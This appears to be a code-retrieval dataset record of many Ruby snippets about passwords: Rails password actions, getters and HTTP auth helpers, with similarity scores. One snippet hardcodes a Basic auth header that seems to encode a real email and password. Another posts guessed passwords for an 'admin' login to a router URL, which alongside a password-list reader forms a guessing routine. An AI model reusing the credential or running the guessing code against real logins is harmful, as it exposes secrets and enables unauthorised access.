"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def create\n @password = Password.new(params[:password])\n\n respond_to do |format|\n if @password.save\n flash[:notice] = 'Password was successfully created.'\n format.html { redirect_to(passwords_path) }\n format.xml { render :xml => @password, :status => :created, :location => @password }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @password.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def users(passwords=false)\n if passwords\n doc = request(\"user-list_users\")\n else\n doc = request(\"user-list_users_no_pw\")\n end\n api_error?(doc)\n (doc/:data).inject([]) { |users, user| users << User.new_from_xml(user); users }\n end",
"def settings\n get \"/setup/api/settings\", password_hash\n end",
"def is_wrong_password? password\nuri = URI.parse 'http://rubyschool.us/router'\n#response = Net::HTTP.get uri\n#p response\nresponse = Net::HTTP.post_form(uri, :login => \"admin\", :password => password).body\np response.include? \"denied\" # Тело объекта, который мы получаем через запрос\nend",
"def readPasswords()\n\tFile.foreach('/home/pi/simple-network-ping/passwords.txt').with_index { |line|\n\t $nums << line.chomp\n\t}\nend",
"def contacts(xml)\n xml.__send__(:\"clientbio:Password\", \"Testing\")\n end",
"def password\n Password.find(password_id)\n end",
"def zone_passwords(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone/passwords?#{parameters}\")\n end",
"def getpassword()\r\n return getvalue(SVTags::PASSWORD)\r\n end",
"def status_getpass!()\n @status = TAC_PLUS_AUTHEN_STATUS_GETPASS\n end",
"def select_passwords(id)\n return db_connection().execute('SELECT p.name as pass_name, random_str, c.name as cat_name, c.id as cat_id, p.id as pass_id FROM passwords p JOIN pass_cat pc ON p.id=pc.pass_id JOIN categories c ON pc.cat_id=c.id WHERE p.user_id=?', id)\n end",
"def password\n first_element_text('password')\n end",
"def get_root\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Get.new(\"/\")\n request.basic_auth @username, @password\n http.request(request)\n end",
"def password\n @attributes[:password]\n end",
"def password\n @attributes[:password]\n end",
"def password_rest\n UserMailer.password_rest\n end",
"def get_keychain_password(username, server)\n if result = `security 2>&1 > /dev/null find-internet-password -ga #{username} -s #{server}`\n result.match(/\\\"(\\w+)\\\"/).to_a.last\n end\nend",
"def rand_pass(length=8)\n uri = URI.parse(\"http://robot.lab.explo.org/randompass\")\n params = { :length => length }\n uri.query = URI.encode_www_form params\n\n response = Net::HTTP.get_response(uri)\n\n if response.is_a?(Net::HTTPSuccess)\n return response.body\n else\n # if the web call fails, make a cheesy random password\n # Simple function to create a random password,\n # which I got [here](http://stackoverflow.com/a/3572953)\n return rand(36**length).to_s(36)\n end\nend",
"def getXMLTicket(path)\n resp2 = @@conn.get do |req|\n req.url path\n req.headers['Authorization'] = 'Basic aHIuc2VsbGVydEBnbWFpbC5jb206c2VzMTEy' #@TODO make this a param\n req.headers['Content-Type'] = 'application/xml'\n end\n # puts \"Responce : \" + resp2['body'].inspect\n # puts \"Responce2 : \" + resp2.body.to_s()\n \n return resp2.body.to_s()\n end",
"def request_new_password(name)\n values = {\n name: name\n }\n @client.make_request :post,\n auth_path('request_new_password'),\n values\n end",
"def password\n\n end",
"def certs\n request :get, '/certs'\n end",
"def account_password\n get_account_password\n end",
"def password\n @ask = Ask.find_by_id(params[:id])\n end",
"def get_secret(node_name)\n puts \"downloading slave-agent.jnlp...\"\n jnlp= http_get(\"/computer/#{node_name}/slave-agent.jnlp\")\n doc = REXML::Document.new(jnlp)\n doc.get_text('jnlp/application-desc/argument')\nend",
"def index\n @secure_passwords = SecurePassword.where(:user_id => current_user.id)\n end",
"def edit_password\n @user = User.find_by_authentication_token(params[:id])\n render \"users/passwords/edit\" \n end",
"def password; datastore['PASSWORD']; end",
"def form_passwords(form) # Implement this in Form class\r\n { \r\n :passwords => [ \r\n form['password'],\r\n form['confirm_password']\r\n ]\r\n }\r\n end",
"def http_get_auth_resource(location, username,password, depth)\n\n unless depth > 0\n @task_result.logger.log_error \"Too many redirects\"\n exit\n end\n\n uri = URI.parse(location)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri,{\"User-Agent\" => \"Intrigue!\"})\n request.basic_auth(username,password)\n response = http.request(request)\n\n if response == Net::HTTPRedirection\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n elsif response == Net::HTTPMovedPermanently\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n else\n @task_result.logger.log \"Got response: #{response}\"\n end\n\n response\n end",
"def password\n @user = User.find_by(id: params[:id])\n if @user.present?\n render :action => \"password\"\n else\n redirect_to new_user_session_path, flash: { notice: \"User not found in our db with your email!\" }\n end\n end",
"def get_password_data(instance_id)\n request(\n 'Action' => 'GetPasswordData',\n 'InstanceId' => instance_id,\n :idempotent => true,\n :parser => Fog::Parsers::AWS::Compute::GetPasswordData.new\n )\n end",
"def index\n logger.debug(\"get secret page\")\n end",
"def show\n\n @pass = Passbook::Pass.where(pass_type_identifier: params[:pass_type_identifier], serial_number: params[:serial_number]).first\n head :not_found and return if @pass.nil?\n head :unauthorized and return if request.env['HTTP_AUTHORIZATION'] != \"ApplePass #{@pass.authentication_token}\"\n\n # suck in example data for now, can be provided by the DB entry later if we want\n passJSONPath = \"#{Rails.root}/passbook/pass.json\"\n passJSONPath = \"#{Rails.root}/passbook/pass2.json\" if @pass.which == '2'\n passJSONPath = \"#{Rails.root}/passbook/pass3.json\" if @pass.which == '3'\n\n # read in the JSON from the file\n passJSON = File.read(passJSONPath)\n\n passFile = PB::PKPass.new passJSON\n\n passFile.addFiles [\n \"#{Rails.root}/passbook/icon.png\",\n \"#{Rails.root}/passbook/icon@2x.png\",\n \"#{Rails.root}/passbook/logo.png\",\n \"#{Rails.root}/passbook/logo@2x.png\"\n ]\n\n pkpass = passFile.file\n\n if stale?(last_modified: @pass.updated_at.utc)\n send_file pkpass.path, type: 'application/vnd.apple.pkpass', disposition: 'attachment', filename: \"pass.pkpass\"\n else\n head :not_modified\n end\n\n end",
"def get_password(password)\n password\n end",
"def config_status\n get \"/setup/api/configcheck\", password_hash\n end",
"def index\n @recovery_passwords = RecoveryPassword.all\n end",
"def index\n @title = \"All users\"\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def password\n\t\t@password\n\tend",
"def password\n\t\t@password\n\tend",
"def passwords\n @users.each_value.to_a\n end",
"def password\n end",
"def password\n end",
"def new\n self.resource = build_resource(nil, :unsafe => true)\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def print_my_recent_bookmarks(username, password)\n # Make the HTTPS request.\n response = open('https://api.del.icio.us/v1/posts/recent',\n :http_basic_authentication => [username, password])\n\n # Read the response entity-body as an XML document.\n xml = response.read\n\n # Turn the document into a data structure.\n document = REXML::Document.new(xml)\n\n # For each bookmark...\n REXML::XPath.each(document, \"/posts/post\") do |e|\n # Print the bookmark's description and URI\n puts \"#{e.attributes['description']}: #{e.attributes['href']}\"\n end\nend",
"def login\n @response = client.request :log, :login2 do\n soap.element_form_default = :unqualified \n soap.namespaces[\"xmlns:login\"] = 'http://login.ext.soap.yodlee.com'\n \n soap.body = {\n :cobrand_context => cobrand_context,\n :user_credentials => credentials.credentials_hash, \n :attributes! => {:user_credentials => {\"xsi:type\" => \"login:PasswordCredentials\"}} \n }\n end\n \n hash_response = @response.to_hash\n context = hash_response[:login2_response][:login2_return][:user_context]\n parse_response(context)\n end",
"def password\r\n @password\r\n end",
"def verifyPass\n pass=(encryptor(params[:password]))\n #puts(pass)\n options = {\n :body =>{\"password\": pass\n }.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4051/users/verify_pass?id=\"+ @current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def get_user_tags username, password\n do_request 'get_user_tags', username: username, password: password\n end",
"def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end",
"def internet_passwords\n Scope.new(Sec::Classes::INTERNET)\n end",
"def list_users\n http_get(:uri=>\"/users\", :fields=>x_cookie)\n end",
"def password\n if !@password_insync && resource[:api_admin] == :true\n update_admin_pass_with_rake\n end\n return resource[:password] if @password_insync\n return nil\n end",
"def new\n resource = build_resource\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def getPassword()\n return @password\n\tend",
"def password \n @password \n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end"
] |
[
"0.6404301",
"0.6097045",
"0.5989257",
"0.5977957",
"0.5912757",
"0.5910776",
"0.58987737",
"0.5891278",
"0.58150804",
"0.5732096",
"0.5613698",
"0.54896134",
"0.54734707",
"0.5465326",
"0.5449223",
"0.5439373",
"0.5436181",
"0.5404465",
"0.54002494",
"0.53792757",
"0.53505105",
"0.53496075",
"0.5333766",
"0.52894676",
"0.5274554",
"0.52711725",
"0.5244906",
"0.5243266",
"0.5243196",
"0.52275604",
"0.52133226",
"0.52102745",
"0.5187463",
"0.51662856",
"0.51662856",
"0.5161594",
"0.51518106",
"0.51225543",
"0.5121595",
"0.5110456",
"0.510748",
"0.51057327",
"0.50968647",
"0.50870407",
"0.50843257",
"0.5078084",
"0.5076543",
"0.5073457",
"0.5061502",
"0.50609237",
"0.50485873",
"0.50434995",
"0.5031132",
"0.50274926",
"0.5019505",
"0.50174576",
"0.50162107",
"0.5014214",
"0.50108355",
"0.50108355",
"0.5005742",
"0.5004875",
"0.5004875",
"0.49912572",
"0.49850106",
"0.49815673",
"0.49779084",
"0.49731007",
"0.497159",
"0.49691963",
"0.4966471",
"0.49644694",
"0.49629515",
"0.4958067",
"0.49436533",
"0.4942921",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443",
"0.49317443"
] |
0.53041553
|
23
|
GET /passwords/new GET /passwords/new.xml
|
def new
@password = Password.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @password }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n resource = build_resource\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def create\n @password = Password.new(params[:password])\n\n respond_to do |format|\n if @password.save\n flash[:notice] = 'Password was successfully created.'\n format.html { redirect_to(passwords_path) }\n format.xml { render :xml => @password, :status => :created, :location => @password }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @password.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n self.resource = build_resource(nil, :unsafe => true)\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @register }\n end\n end",
"def new\n @credential = Credential.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @credential }\n end\n end",
"def new\n @user = User.new\n render :xml => @user\n end",
"def new\n @user = User.new\n @user.email = params[:email]\n @user.password = params[:password]\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @user }\n #end\n end",
"def request_new_password(name)\n values = {\n name: name\n }\n @client.make_request :post,\n auth_path('request_new_password'),\n values\n end",
"def new\n @login = Login.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @login }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.xml { render xml: @user}\n end\n end",
"def new\n\tputs \"\\n\\t\\t in new\\n\"\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @registry = @user.registries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registry }\n end\n end",
"def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patron }\n end\n end",
"def new\n @title = _(\"Recover Password\")\n render\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @user }\n end\n end",
"def new\n logger.debug(\"Create a new user\")\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n new_url = \"#{ENV['KPASS_ENDPOINT']}/members/new?app_id=#{ENV['KPASS_APP_ID']}\"\n redirect_to new_url\n end",
"def new\n \t@login = Login.new\n\t@account = Account.new( :language => 'English', :location_country => 'U.S.A.', :login => Login.new )\n\tto_show_login\t\t# makes the encryption keys\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end",
"def new\n @user = User.new\n get_list\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @user }\n end\n end",
"def new\n @identity = Identity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @identity }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @download_registration }\n end\n end",
"def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @proyect = Proyect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proyect }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @pw_user = PwUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pw_user }\n end\n end",
"def new\n @usuario = Usuario.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @permiso = Permiso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @permiso }\n end\n end",
"def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"def new\n @secretary = Secretary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @secretary }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @unlock = Unlock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @unlock }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"def new\n @nickname = Nickname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nickname }\n end\n end",
"def new\n @pass = Pass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @pass }\n end\n end",
"def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @pass = Pass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pass }\n end\n end",
"def new\n @user = V1::User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end"
] |
[
"0.63894254",
"0.6375709",
"0.62597334",
"0.62486917",
"0.62158316",
"0.610603",
"0.60975397",
"0.6067552",
"0.605343",
"0.60152525",
"0.59730095",
"0.59646934",
"0.59501183",
"0.5931783",
"0.5927788",
"0.5913241",
"0.59007305",
"0.589568",
"0.58935827",
"0.5882246",
"0.5876451",
"0.58754927",
"0.58754927",
"0.5867503",
"0.5863768",
"0.5858217",
"0.5848772",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.58470017",
"0.5843088",
"0.5841208",
"0.5840648",
"0.5840648",
"0.5840648",
"0.58400255",
"0.5826683",
"0.5826284",
"0.5821271",
"0.58071613",
"0.58071613",
"0.580135",
"0.5799316",
"0.57967734",
"0.5794974",
"0.57934344",
"0.5788752",
"0.57874465",
"0.57832813",
"0.5778955",
"0.5774685",
"0.5774685",
"0.5774685",
"0.5774685",
"0.5774685",
"0.5768451",
"0.5768234"
] |
0.74518025
|
0
|
POST /passwords POST /passwords.xml
|
def create
@password = Password.new(params[:password])
respond_to do |format|
if @password.save
flash[:notice] = 'Password was successfully created.'
format.html { redirect_to(passwords_path) }
format.xml { render :xml => @password, :status => :created, :location => @password }
else
format.html { render :action => "new" }
format.xml { render :xml => @password.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def request_new_password(name)\n values = {\n name: name\n }\n @client.make_request :post,\n auth_path('request_new_password'),\n values\n end",
"def set_password(opts = {})\n password(opts.merge(:verb => :post))\n end",
"def post!( text, password )\n post text\n push password\n end",
"def set_password!(opts = {})\n password!(opts.merge(:verb => :post))\n end",
"def create\n @xmt_mgr_password = Xmt::Password.new(xmt_mgr_password_params)\n\n respond_to do |format|\n if @xmt_mgr_password.save\n format.html { redirect_to @xmt_mgr_password, notice: 'Password was successfully created.' }\n format.json { render :show, status: :created, location: @xmt_mgr_password }\n else\n format.html { render :new }\n format.json { render json: @xmt_mgr_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @password = Password.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @password }\n end\n end",
"def password_params\n params.require(:password).permit(:login, :pass, :url, :obs, :PasswordCategory_id)\n end",
"def test_password_invalid_format\n data = { 'email' => 'ace@base.se', 'password' => 'open123' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n end",
"def password\n respond_to do |format|\n format.html\n format.json { render json: { :password => get_password } }\n end\n end",
"def send_pass\n username = params[:user][:account_name]\n email = params[:user][:email]\n resp = LinkedData::Client::HTTP.post(\"/users/create_reset_password_token\", {username: username, email: email})\n\n if resp.nil?\n redirect_to login_index_path, notice: \"Please check your email for a message with reset instructions\"\n else\n flash[:notice] = resp.errors.first + \". Please try again.\"\n redirect_to \"/lost_pass\"\n end\n end",
"def passwd(host, password)\n # TODO(ody): If not the above this is resource_to_request. Can we call\n # from the provider?\n request = { name: @name, host: host, password: password }.to_json\n post_request = ::Google::Sql::Network::Post.new(\n gsql_user_collection, @cred, 'application/json', request\n )\n response = JSON.parse(post_request.send.body)\n raise Puppet::Error, response['error']['errors'][0]['message'] \\\n if response['error']\n\n # TODO(nelsonjr): Make this function wait for the operation to\n # complete\n end",
"def register\n @response = client.request :user, :register3 do\n soap.element_form_default = :unqualified \n soap.namespaces[\"xmlns:login\"] = 'http://login.ext.soap.yodlee.com'\n \n soap.body = {\n :cobrand_context => cobrand_context,\n :user_credentials => credentials.credentials_hash, \n :user_profile => credentials.profile_hash,\n :attributes! => {:user_credentials => {\"xsi:type\" => \"login:PasswordCredentials\"}} \n }\n end\n \n hash_response = @response.to_hash\n context = hash_response[:register3_response][:register3_return][:user_context]\n parse_response(context)\n end",
"def contacts(xml)\n xml.__send__(:\"clientbio:Password\", \"Testing\")\n end",
"def create\n @password = Password.new(password_params)\n @password.user_id=current_user.id\n\n respond_to do |format|\n if @password.save\n format.html { redirect_to @password, notice: 'Password was successfully created.' }\n format.json { render :show, status: :created, location: @password }\n else\n format.html { render :new }\n format.json { render json: @password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def form_passwords(form) # Implement this in Form class\r\n { \r\n :passwords => [ \r\n form['password'],\r\n form['confirm_password']\r\n ]\r\n }\r\n end",
"def password\n\n end",
"def getTokenLoginSet_password( email, flatpack_id, entity_id, action)\n params = Hash.new\n params['email'] = email\n params['flatpack_id'] = flatpack_id\n params['entity_id'] = entity_id\n params['action'] = action\n return doCurl(\"get\",\"/token/login/set_password\",params)\n end",
"def create_credentials\n post_url = URI(\"http://#{FBPi::Settings.meshblu_url}/devices\")\n res = Net::HTTP.post_form(post_url, {})\n json = JSON.parse(res.body).deep_symbolize_keys\n File.open(credentials_file, 'w+') { |file| file.write(json.to_yaml) }\n load_credentials\n json\n end",
"def create\n result = access_token.post('/api/v1/users/create', {:email=>params[:email],:psw=>params[:password],:psw_conf=>params[:password_conf],:inbox=>params[:inbox]})\n display_api_response result\n respond_with(\"\",:location => :back)\n end",
"def password_params\n params.permit(:password, :ip)\n end",
"def is_wrong_password? password\nuri = URI.parse 'http://rubyschool.us/router'\n#response = Net::HTTP.get uri\n#p response\nresponse = Net::HTTP.post_form(uri, :login => \"admin\", :password => password).body\np response.include? \"denied\" # Тело объекта, который мы получаем через запрос\nend",
